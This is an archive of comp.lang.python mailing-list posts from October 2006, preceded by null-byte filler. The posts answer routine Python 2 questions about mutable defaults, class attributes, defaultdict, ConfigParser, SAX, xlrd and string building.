'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...many more lines of junk...'

I'm not actually trying to do something particular, I'm making snippets
of example code for all functions in LibRef and I ran into this, and
I'm just curious as to what's happening. I understand that you're not
supposed to call .next on a file open for writing. But I don't know why
and how it does what happened here; besides, I've seen the same thing
happen before when I was doing something else with file
open/write/close, but I don't remember the specifics.



From john106henry at hotmail.com  Mon Oct 30 14:35:47 2006
From: john106henry at hotmail.com (John Henry)
Date: 30 Oct 2006 11:35:47 -0800
Subject: scared about refrences...
In-Reply-To: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
Message-ID: <1162236947.782389.250460@k70g2000cwa.googlegroups.com>

I am no Python guru - just an ordinary user.

There is nothing "scary" about this.  There are (many) situations where
this is actually *desirable* but of course there are (many) situations
where this is an unwelcomed side-effect.

In situations where I don't want this to happen, I simply pass down the
list as an non-mutable object (like converting the list to a tuple).

It took me a little bit of getting used to this concept as well:
everything is either a mutable object, or a non-mutable object.  I just
have to throw away trying to use concept of "pointers" in Python.

SpreadTooThin wrote:
> I'm really worried that python may is doing some things I wasn't
> expecting... but lets see...
>
> if I pass a list to a function def fn(myList):
>
> and in that function I modify an element in the list, then does the
> callers list get modied as well.
>
> def fn(list):
>    list[1] = 0
>
> myList = [1, 2, 3]
> print myList
> fn(myList)
> print myList
>
> >>> [1,2,3]
> >>> [1,0,3]
>
> How can I avoid this?  In this case this is a really simplified example
> but the effects are the same...
> How do I specify or create deep copies of objects that may contain
> other objects that may contain other
> object that may contain other objects....



From bearophileHUGS at lycos.com  Wed Oct 11 17:10:17 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 11 Oct 2006 14:10:17 -0700
Subject: dicts + amb
Message-ID: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>

I have implemented yet another Odict class:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/498195
It's very slow, but it is O(1) for get, set and del too.

I have added ritervalues(), rkeys(), etc methods because I presume I
can't use the reversed(). So can an __riter__ hook be generally useful?
(I have seen few comments about it in the discussion regarding PEP
322).

What's the meaning of .updated() called without arguments? Can it
become an error in Python 3.0?

In practice I don't have problems using dict get() and pop() methods,
but their calling behaviour seem a bit incoherent. Both accept a second
value, that can be None too, that they return if the key is absent, but
the get() returns the None even if you don't specify it, while pop()
return a TypeError if you don't give explicitely something (like None)
as second argument. (Maybe in practice they are more useful if kept
with such different calling behaviour.)

------------

Something unrelated that I don't know where to put.
Recently I have seen the amb operator, it's not a simple operator. I
have seen a (very simple) Ruby implementation:
http://www.randomhacks.net/articles/2005/10/11/amb-operator
I think a good amb implementation is a very complex thing. Can such
operator be useful for Python too?

Bye,
bearophile



From raNOsky at deveSPAMler.com  Wed Oct  4 10:16:48 2006
From: raNOsky at deveSPAMler.com (Giovanni Bajo)
Date: Wed, 4 Oct 2006 16:16:48 +0200
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <eg0fo3$pv6$1@nnrp.ngi.it>

andrea.spitaleri at gmail.com wrote:

> while(<IN>){
>           @info=split(/ +/,$_);
>           push (@{$tmp{$info[0]}},$info[1]);
> }
>
> and then
> foreach $key (keys %tmp){
>            print "$key -> @{$tmp{$key}}\n";
> }

Python 2.5 introduced a dictionary type with automatic creation of values,
ala Perl:

===============================
from collections import defaultdict

d = defaultdict(list)
for line in fl:
     k, v = line.strip().split()
     d[k].append(v)

for k,v in d.items():
     print k, v
===============================

Notice that Python is always more strongly typed, so you have to specify a
factory function.
-- 
Giovanni Bajo




From tnleeuw at gmail.com  Fri Oct 20 10:02:50 2006
From: tnleeuw at gmail.com (Tim N. van der Leeuw)
Date: 20 Oct 2006 07:02:50 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <pan.2006.10.20.07.29.24.509195@gmail.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<pan.2006.10.20.07.29.24.509195@gmail.com>
Message-ID: <1161352970.123247.322140@i42g2000cwa.googlegroups.com>


I V wrote:
> On Fri, 20 Oct 2006 09:04:07 +1000, Steven D'Aprano wrote:
> > I agree -- the reversed() function appears to be an obvious case of purity
> > overriding practicality :(
> >
> >>>> str(reversed("some string"))
> > '<reversed object at 0xb7edca4c>'
> >>>> repr(reversed("some string"))
> > '<reversed object at 0xb7edca4c>'
>
> This doesn't seem particularly "pure" to me, either. I would
> have thought str(some_iter) should build a string out of the iterator, as
> list(some_iter) or dict(some_iter) do. I guess this might have to wait for
> Python 3, but str ought to be a proper string constructor, not a "produce
> a printable representation of" function, particularly when we have repr to
> do the latter.

The failing of str(reversed('the string')) caught me off-guard too. I
think you're quite right that it would be good if str() becomes a
proper constructor.

In practice, the short-term fix would be to add a __str__ method to the
'reversed' object, and perhaps to all iterators too (so that trying to
build a string from an iterator would do the obvious thing).

Cheers,

--Tim



From apardon at forel.vub.ac.be  Fri Oct 27 13:35:58 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 17:35:58 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnek4gru.2e3.apardon@rcpc42.vub.ac.be>

On 2006-10-27, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:

> But in this specific instance, I don't see any advantage to explicitly
> testing the length of a list. Antoon might think that is sufficiently
> polymorphic, but it isn't. He cares whether the object has zero _length_,
> but for true polymorphism, he should be caring about whether the object is
> _empty_. Not all empty objects have zero length, or even a length at all.
> (E.g. binary trees.) That's why Python classes can use a __nonzero__
> method, falling back on __len__ only if __nonzero__ is not defined.

Nobody can force you to write a container class that also provides a
__len__ method. But if you don't provide one then IMO it is your class
that deviates from standard practice. Mathematically, sets and
directories have no length either, yet the len function does provide
an answer if you give it a set or directory as an argument. So
it seems that python has generalised the len function to provide
the number of elements in the container. 

I have written a Tree class(*). It can be used as a drop in replacement
anywhere where a directory is used, as long as there is a full order
relationship in the key domain. That tree class provides a __len__
method that will anser with the number of items in the tree just
as a directory would and I see nothing wrong with that.

Of course I can't account for all possible ways someone wishes to
write a class, but I don't see what is wrong with counting on
the fact that an empty container has a length of zero.

I can write a container class where the truth value of an object
is independent of whether or not the object is empty and then
the "if obj:" idiom will fail to provide true polymorphism too.

(*) http://www.pardon-sleeuwaegen.be/antoon/avltree.html

-- 
Antoon Pardon


From __peter__ at web.de  Mon Oct  2 09:50:57 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 02 Oct 2006 15:50:57 +0200
Subject: Help with ConfigParser
References: <K78Ug.314$R52.230@lon04-news-philips>
Message-ID: <efr5cn$og7$02$1@news.t-online.com>

tony.ha at philips.com wrote:

> Question: How can I pervent ConfigParse to convert Upper case yo lower
> case??, thanks.

http://docs.python.org/dev/lib/RawConfigParser-objects.html

"""
optionxform(option)

Transforms the option name option as found in an input file or as passed in
by client code to the form that should be used in the internal structures.
The default implementation returns a lower-case version of option;
subclasses may override this or client code can set an attribute of this
name on instances to affect this behavior. Setting this to str(), for
example, would make option names case sensitive. 
""""

If you don't pass defaults:

config = ConfigParser()
config.optionxform = str
# ...

Or, to be on the safe side:

class MyCasePreservingConfigParser(ConfigParser):
    optionxform = str

config = MyCasePreservingConfigParser()
# ...

Peter


From steve at holdenweb.com  Tue Oct 10 10:49:50 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 15:49:50 +0100
Subject: Python component model
In-Reply-To: <eggb4f$bal$1@sea.gmane.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net><mailman.207.1160485945.11739.python-list@python.org>	<O6OWg.7467$Y24.4628@newsread4.news.pas.earthlink.net>
	<eggb4f$bal$1@sea.gmane.org>
Message-ID: <eggbsm$dmh$1@sea.gmane.org>

Fredrik Lundh wrote:
> "Edward Diener No Spam" wrote:
> 
> 
>>>if you want better support for more precise hooking, post some examples.
>>
>>I want a design-time environment to hook up my objects in a visual way.
>>I think it is easier than doing it manually, even in Python.
> 
> 
> what objects?  what hooks?  visually, in what way?
> 
> 
>>>>All you are saying is that you don't have a need for this, but perhaps others do.
>>>
>>>handwavy references to what "other may need" is another thing you should
>>>avoid if you want your Python change proposal to be successful.
>>
>>I did not say what "others may need".
> 
> 
> I'm not sure I see the big difference between "perhaps others do [have a need]"
> and "others may need", but that's me.
> 
He's wriggling anyway, as his opening post said (among other things) "I 
believe that Python should have a common components model for all RAD
development environments ...". So unless he's the only person who's 
going to use these development environments it does indeed sound a 
little prescriptive.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Benjamin.Barker at gmail.com  Sun Oct  8 08:48:23 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 05:48:23 -0700
Subject: Bizzare lst length problem
In-Reply-To: <mailman.53.1160306404.11739.python-list@python.org>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
Message-ID: <1160311703.533544.164250@i42g2000cwa.googlegroups.com>

Ah... my list is a string. That explains the len() results, but not why
it is a string in the dirst place.

I have a dictionary containing a number of instances of the following
class as values:

class panel:
    mops =[]

    def __init__(self,number,level,location,mops,matrix):
         self.number=number
         self.level=level
         self.location=location
         self.mops=mops
         self.matrix=matrix


abve mops is a list, yet when I access it it is a string...



Fredrik Lundh wrote:
> Ben wrote:
>
> > The output from this would be (for a given key value):
> >                 Number:	181
> >                 Level:	ovride+supvis
> >                 Location:	 mons=4 v8.0 3rd floor
> >                 MOPS:	['287', '288', '289', '290']
> >                 List Length:	28
> >                 Matrix:	kng
> >
> > This is really odd...my len(v.mops) ought to return 4 (4 elements in
> > the list).
>
> adding a
>
>      print type(v.mops), repr(v.mops)
>
> debug statement might provide you with the clues you need.
>
>  > In fact it returns 28. looking at outputs from lots of
> > records, it seems that the length is almost always 7 time too great
> > (28/7=4)....but not always.
>
>  >>> len("['287',")
> 7
>  >>> len(" '288',")
> 7
>  >>> len(" '289',")
> 7
>  >>> len(" '290']")
> 7
> 
> </F>



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Thu Oct 12 15:25:09 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Thu, 12 Oct 2006 21:25:09 +0200
Subject: strings in the global section
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>
	<4p7dbsFh384nU1@individual.net>
	<1160675533.899350.281040@i42g2000cwa.googlegroups.com>
Message-ID: <4p7j4kFhis6pU1@individual.net>

Phoe6 wrote:

> #!/usr/bin/python
> global astring
> astring = "This is a String"

A global declaration just says "look for this name in the module
namespace". Since you /are/ in the module namespace here, there's
no need to put "global" here.
 
> Works, but something different ?

Excuse me, what do you mean?

Regards,


Bj?rn

-- 
BOFH excuse #410:

Electrical conduits in machine room are melting.



From fredrik at pythonware.com  Thu Oct 12 08:51:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 14:51:03 +0200
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com><7x3b9u376m.fsf@ruckus.brouhaha.com><Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><l2jXg.63366$5o5.46778@tornado.texas.rr.com><1160652722.908731.213650@i42g2000cwa.googlegroups.com><7xfydtojhe.fsf@ruckus.brouhaha.com><7x4pu9bw3z.fsf@ruckus.brouhaha.com>
	<ca55a9900610120545y4252477fuf15a6997d484be34@mail.gmail.com>
Message-ID: <egldno$2aj$1@sea.gmane.org>

Peter Decker wrote:

>> Also, that finds the maximum, not the median.  I had stopped examining
>> it after seeing it used more than one variable.
>
> Um... isn't 'p' the list in question?

no, it's a pointer to the current item in the list.

</F> 





From ptmcg at austin.rr._bogus_.com  Fri Oct 13 11:25:04 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 13 Oct 2006 15:25:04 GMT
Subject: Line algorithim for python and numeric
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com><463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com>
	<mailman.451.1160752377.11739.python-list@python.org>
Message-ID: <kdOXg.47125$DU3.14756@tornado.texas.rr.com>

"Tim Chase" <python.list at tim.thechases.com> wrote in message 
news:mailman.451.1160752377.11739.python-list at python.org...
>>>   I'm wondering if anyone knows of a way to extract data from a numeric
>>> array along a line. I have a gridded dataset which I would like to be
>>> able to choose two points and extract a 1-d array of the data values
>>> along the line between the two points. Any ideas?
>>
>> Are these all 45 degree lines or what?
>>
>> If not, you'll have to use trigonometry and approximate the closest
>> matching cell. (Don't worry, Python has maths functions!! :))
>
>
> There are a couple of optimal/easy cases where the run is horizontal, 
> vertical, or as you describe, 45-degrees (where x_step = y_step or x_step 
> = -y_step)
>
> Any other set of arbitrary points, and you will have to specify the 
> behavior a little more finely.
>
> You can use something like Bresenham's algorithm to march either "over" or 
> "up and over" to just pick out the "one point at each step that falls 
> closest to the actual line" along the run. There's also the Wu 
> Anti-aliasing line algorithm which takes something akin to Bresenham's 
> algorithm and then samples the potential points to yield an "anti-aliased" 
> result which averages the two potential  data-points (traditionally 
> colors, but they could really be any average-able data values).
>
> I'm not sure I've seen either of them implemented in Python before (though 
> actually *looking* for them might increase those odds ;-)
>
> http://en.wikipedia.org/wiki/Xiaolin_Wu's_line_algorithm
>
> has details and a pseudo-code implementation (which shouldn't be too far 
> from the Python code).  It's also got links to stuff on Bresenham's.
>
> -tkc
>
>
No need for Bresenham's algorithm here.  The point behind BA is to draw a 
connected line using best selection of points, going cell-by-adjacent-cell 
through the pixel map, so that you actually get a solid line in the result. 
The OP's problem is much simpler - he/she (is "Theresaak" a boy name or a 
girl name?) just wants the array of grid coordinates between a starting and 
ending cell, so "continuousness" of the line is not an issue.

-- Paul 




From hg at nospam.com  Tue Oct 17 16:57:42 2006
From: hg at nospam.com (hg)
Date: Tue, 17 Oct 2006 15:57:42 -0500
Subject: Python Web Site?
In-Reply-To: <mailman.660.1161118236.11739.python-list@python.org>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
	<mailman.660.1161118236.11739.python-list@python.org>
Message-ID: <jDbZg.28354$Go3.13641@dukeread05>

Tim Chase wrote:
>> Is there a problem with the Python and wxPython web sites?
>> I cannot seem to get them up
> 
> Sounds like someone needs some pyagra...
> 
> (grins, ducks, and runs)
> 
> the-red-or-blue-pill'ly yers,
> 
> -tkc
> 
> 
> 
> 
> 

lol ... got to rememner that one !

hg



From miracle.glue at gmail.com  Tue Oct 10 14:35:00 2006
From: miracle.glue at gmail.com (glue)
Date: 10 Oct 2006 11:35:00 -0700
Subject: Is a list static when it's a class member?
Message-ID: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>

I have a class with a list member and the list seems to behave like
it's static while other class members don't. The code...

class A:
    name = ""
    data = []
    def __init__(self, name):
        self.name = name
    def append(self, info):
        self.data.append(info)
    def enum(self):
        for x in self.data:
            print "\t%s" % x

a = A("A:")
print a.name
a.append("one")
a.append("two")
a.enum()
b = A("B:")
print b.name
b.append("horse")
b.append("bear")
b.enum()
print a.name
a.enum()

The output...
>>>
A:
	one
	two
B:
	one
	two
	horse
	bear
A:
	one
	two
	horse
	bear
>>>

How do i get:
A:
        one
        two
B:
        horse
        bear
A:
        one
        two

Thanks,

glue



From deets at nospam.web.de  Thu Oct  5 12:39:50 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Thu, 05 Oct 2006 18:39:50 +0200
Subject: Oracle database export
References: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>
Message-ID: <4okqqnFf3ufaU1@uni-berlin.de>

Tor Erik Soenvisen wrote:

> Hi,
> 
> I need to export an Oracle database to a DDL-formated file. On the Web, I
> found a Python script that did exactly this for a MS Access database, but
> not one for Oracle databases.
> 
> Does anyone know of such a tool or Python script.

Oracle is equipped with tools to do that. For example the conveniently named
export tool "exp"

No python in the equation, though.


Diez


From __peter__ at web.de  Sun Oct 22 15:25:51 2006
From: __peter__ at web.de (Peter Otten)
Date: Sun, 22 Oct 2006 21:25:51 +0200
Subject: Problems trying to override __str__ on path class
References: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>
Message-ID: <ehggfk$60i$00$1@news.t-online.com>

Mike Krell wrote:

> I'm running into problems trying to override __str__ on the path class
> from Jason Orendorff's path module
> (http://www.jorendorff.com/articles/python/path/src/path.py).
> 
> My first attempt to do this was as follows:
> 
> '''
> class NormPath(path):
> def?__str__(self):
> return?'overridden?__str__:?'?+?path.__str__(self.normpath())
> '''
> 
> The problem is that the override is not invoked unless str() is called
> explictly, as indicated by the test program and its output below:
> 
> '''
> from normpath import NormPath
> np = NormPath('c:/mbk/test')
> print 'np: "%s"' % np
> print 'str(np): "%s"' % str(np)
> print np / 'appendtest'
> 
> 
> np: "c:/mbk/test"
> str(np): "overridden __str__: c:\mbk\test"
> c:/mbk/test\appendtest
> '''

With

from path import path

class NormPath(path):
    def __str__(self):
        return 'overridden __str__: ' + path.__str__(self.normpath())

np = NormPath('c:/mbk/test')
print 'np: "%s"' % np
print 'str(np): "%s"' % str(np)
print np / 'appendtest'

I get

np: "overridden __str__: c:/mbk/test"
str(np): "overridden __str__: c:/mbk/test"
overridden __str__: overridden __str__: c:/mbk/test/appendtest

Are you using the latest version of the path module? Older versions implied
a Path() call in the __div__() operator which would explain at least the
output you get for

print np / 'appendtest'

Peter





From kenneth.m.mcdonald at sbcglobal.net  Thu Oct 26 01:04:09 2006
From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald)
Date: Thu, 26 Oct 2006 00:04:09 -0500
Subject: How to identify generator/iterator objects?
In-Reply-To: <1161813734.420234.83220@e3g2000cwe.googlegroups.com>
References: <453FBCCE.8090306@sbcglobal.net>	<mailman.1207.1161811920.11739.python-list@python.org>
	<1161813734.420234.83220@e3g2000cwe.googlegroups.com>
Message-ID: <454041C9.8040206@sbcglobal.net>

Thanks for all the feedback. Yes the original post was incorrect, it was 
an intellectual burp that had me asking about a instead of f(something).

Boy, that answer's something I would never have known...

Thanks,
Ken

Leo Kislov wrote:
> Michael Spencer wrote:
>   
>> Kenneth McDonald wrote:
>>     
>>> I'm trying to write a 'flatten' generator which, when give a
>>> generator/iterator that can yield iterators, generators, and other data
>>> types, will 'flatten' everything so that it in turns yields stuff by
>>> simply yielding the instances of other types, and recursively yields the
>>> stuff yielded by the gen/iter objects.
>>>
>>> To do this, I need to determine (as fair as I can see), what are
>>> generator and iterator objects. Unfortunately:
>>>
>>>  >>> iter("abc")
>>> <iterator object at 0x61d90>
>>>  >>> def f(x):
>>> ...     for s in x: yield s
>>> ...
>>>  >>> f
>>> <function f at 0x58230>
>>>  >>> f.__class__
>>> <type 'function'>
>>>
>>> So while I can identify iterators, I can't identify generators by class.
>>>
>>> Is there a way to do this? Or perhaps another (better) way to achieve
>>> this flattening effect? itertools doesn't seem to have anything that
>>> will do it.
>>>
>>> Thanks,
>>> Ken
>>>       
>> I *think* the only way to tell if a function is a generator without calling it
>> is to inspect the compilation flags of its code object:
>>
>>   >>> from compiler.consts import CO_GENERATOR
>>   >>> def is_generator(f):
>>   ...     return f.func_code.co_flags & CO_GENERATOR != 0
>>   ...
>>   >>> def f1(): yield 1
>>   ...
>>   >>> def f2(): return 1
>>   ...
>>   >>> is_generator(f1)
>>   True
>>   >>> is_generator(f2)
>>   False
>>   >>>
>>     
>
> It should be noted that this checking is completely irrelevant for the
> purpose of writing flatten generator. Given
>
> def inc(n):
>     yield n+1
>
> the following conditions should be true:
>
> list(flatten([inc,inc])) == [inc,inc]
> list(flatten([inc(3),inc(4)]) == [4,5]
>
>   -- Leo
>
>   



From will at willmcgugan.com  Mon Oct  9 07:17:09 2006
From: will at willmcgugan.com (Will McGugan)
Date: 9 Oct 2006 04:17:09 -0700
Subject: wxpython problems using GLCanvas
References: <1160306823.654994.27260@h48g2000cwc.googlegroups.com>
Message-ID: <1160392629.701462.74070@h48g2000cwc.googlegroups.com>

nelson wrote:
> Hi,
>   i'm coding a 3d interactive geometry progam and i want to use opengl
> for displaying ogbjects. I can open a opengl canvas (i follow the
> wxpython demo) and i can draw a cube. First time i execute the
> application all is ok. second time it freezes X and i can't interact
> with my machine. I hava only to press power button...... what will
> cause it? the code i use is exactly the code of the demo....
>
> If using openGL is so difficult to do together with wxpython, what
> toolkit can i use do do 3d graphics? Simple graphics, i have to plot
> point, lines, sphere, surfaces and their intersections...

OpenGL works rather well with wxPython. If it hangs your entire machine
it can only be driver issues. Try downloading the latest video drivers
and I suspect this problem will magically disapear!

Will McGugan
--
http://www.willmcgugan.com



From deets at nospam.web.de  Wed Oct  4 10:23:52 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 04 Oct 2006 16:23:52 +0200
Subject: sax barfs on unicode filenames
References: <WOOUg.61$iP5.19@newsfe07.lga>
Message-ID: <4ohufoFem6rpU1@uni-berlin.de>

Edward K. Ream wrote:

> Hi.  Presumably this is a easy question, but anyone who understands the
> sax docs thinks completely differently than I do :-)
> 
> 
> 
> Following the usual cookbook examples, my app parses an open file as
> follows::
> 
> 
> 
> parser = xml.sax.make_parser()
> 
> parser.setFeature(xml.sax.handler.feature_external_ges,1)
> 
> # Hopefully the content handler can figure out the encoding from the
> # <?xml>
> element.
> 
> handler = saxContentHandler(c,inputFileName,silent)
> 
> parser.setContentHandler(handler)
> 
> parser.parse(theFile)
> 
> 
> 
> Here 'theFile' is an open file.  Usually this works just fine, but when

Filenames are expected to be bytestrings. So what happens is that the
unicode string you pass as filename gets implicitly converted using the
default encoding.

You have to encode the unicode string according to your filesystem
beforehand.

Diez



From sjmachin at lexicon.net  Mon Oct 30 07:07:52 2006
From: sjmachin at lexicon.net (John Machin)
Date: 30 Oct 2006 04:07:52 -0800
Subject: what are XLRDError and CompDocError?
In-Reply-To: <1161108616.614125.85120@i3g2000cwc.googlegroups.com>
References: <1161108616.614125.85120@i3g2000cwc.googlegroups.com>
Message-ID: <1162210072.088942.252660@i42g2000cwa.googlegroups.com>


kath wrote:
> Hi,
> i am facing some problems with opening an excel file. I am using XLRD
> module.
> I am getting
>
> XLRDError: Can't find workbook in OLE2 compound document
>
> and
>
> CompDocError: Not a whole number of sectors
>
> exceptions in seperate try on different files.
>
> 1.Does any one know anout these exceptions? what is the cause?

a. "XLRDError: Can't find workbook in OLE2 compound document" -- would
indicate that the OLE internal directory is broken. Can't find an entry
named Workbook or Book.

b. "CompDocError: Not a whole number of sectors" -- would indicate that
the file is truncated or otherwise malformed.

>
> 2. what I should do to resolve these problems.?
>

Send an e-mail message to the package author, providing in each case
(1) the versions of Python and xlrd that you are using, on what
platform
(2) a full copy/paste of the error message *AND* the traceback
(3) a copy of the file
(4) what software (with version info, if possible) was used to create
the file
(5) what results you get when you try to open it with OpenOffice.org's
calc, Gnumeric, Excel, Excel Viewer, ...

Cheers



From johnjsal at NOSPAMgmail.com  Wed Oct 11 12:55:22 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 11 Oct 2006 16:55:22 GMT
Subject: How to write Smart Python programs?
In-Reply-To: <452d1535$0$28355$426a74cc@news.free.fr>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
	<jc7Xg.99$1n3.2455@news.tufts.edu>
	<452d1535$0$28355$426a74cc@news.free.fr>
Message-ID: <_l9Xg.102$1n3.2594@news.tufts.edu>

Bruno Desthuilliers wrote:

> Now when it comes to GUI toolkits, they are usually coded in another
> language, and usually come with language-agnostic GUI designers that use
> XML. So the point is already solved somehow !-)
> 

I'm thinking of hand-writing wxPython. I don't use a GUI designer for 
it, I do it myself. So I can either write all the design code, or use a 
program like XRCed to create the XML file that defines the layout.


From jmdeschamps at gmail.com  Sun Oct  8 21:50:36 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 8 Oct 2006 18:50:36 -0700
Subject: Raw beginner....
In-Reply-To: <mailman.80.1160340679.11739.python-list@python.org>
References: <45288B4A.90702@gmail.com>
	<mailman.80.1160340679.11739.python-list@python.org>
Message-ID: <1160358636.211212.237170@m7g2000cwm.googlegroups.com>


Fabio Zadrozny wrote:
> On 10/8/06, Colin Lehmann <colin.lehmann at gmail.com> wrote:
> > I am new to Python although I have been using Delphi since version one,
> > I have been employed as a C and C++ programmer so when I went to Linux
> > (Ubuntu 5.10) I thought Python looked pretty good.
> > I downloaded and installed 'Eric Python IDE' which seems OK, any
> > alternatives suggested will be looked at....
>
> Suggestions: http://wiki.python.org/moin/IntegratedDevelopmentEnvironments
>
> Cheers,
>
> Fabio

Fabio, your reply is SO cool !
Pydev rocks (for those of us who accept Java-Eclipse gigantism)

Jean-Marc



From sjmachin at lexicon.net  Sun Oct  8 09:12:48 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 06:12:48 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160312065.656400.275770@k70g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
Message-ID: <1160313168.683964.242350@c28g2000cwb.googlegroups.com>


Ben wrote:
> ...and when I print out the string, it is still formatted as one would
> expect a list to be:
>
> <type 'str'> "['01', '02', '03', '04']"
>

We know that. Fredrik deduced it and told you well over an hour ago.

Show us the code that is creating instances of the panel class ...

panel1 =
panel(number=?,level=?,location=?,mops=????????????????,matrix=?)
What are you passing as the 4th positional arg
^^^^^^^^^^^^^^^^^^^^^^^ ???



From skip at pobox.com  Thu Oct  5 10:10:17 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 5 Oct 2006 09:10:17 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <878xjve0fs.fsf@benfinney.id.au>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<mailman.1146.1159866456.10491.python-list@python.org>
	<gzJUg.134225$zy5.1829430@twister1.libero.it>
	<452410E9.9040403@v.loewis.de>
	<TnVUg.135451$zy5.1833460@twister1.libero.it>
	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>
	<87hcyjel70.fsf@benfinney.id.au> <eg27ml$ff6$1@sea.gmane.org>
	<878xjve0fs.fsf@benfinney.id.au>
Message-ID: <17701.4681.987334.359567@montanaro.dyndns.org>


    Ben> This thread was started on the shock of realising that a non-free
    Ben> tool was even being *considered* for the new Python bug
    Ben> tracker. Those are the terms on which I've been arguing.

Of course, the candidate trackers have been known for months.  Messages have
been posted to both this list and python-dev asking for inputs.

Skip


From scott.daniels at acm.org  Thu Oct  5 14:30:43 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 05 Oct 2006 11:30:43 -0700
Subject: building strings from variables
In-Reply-To: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
Message-ID: <4525475b$1@nntp0.pdx.net>

Gal Diskin wrote:
> Following a discussion with an associate at work about various ways to
> build strings from variables in python, I'd like to hear your opinions
> and preferred methods. The methods we discussed are:
> 1.  some_string = "cd %s ; %s  %d %s %s" % ( working_dir, ssh_cmd,
> some_count, some_param1, some_param2)
...
Or another for readability:

   4. some_string = ' '.join(["cd", working_dir, ";",
                  ssh_cmd, str(some_count), some_param1, some_param2])

--Scott David Daniels
scott.daniels at acm.org


From noway at sorry.com  Sat Oct  7 12:28:44 2006
From: noway at sorry.com (Giovanni Bajo)
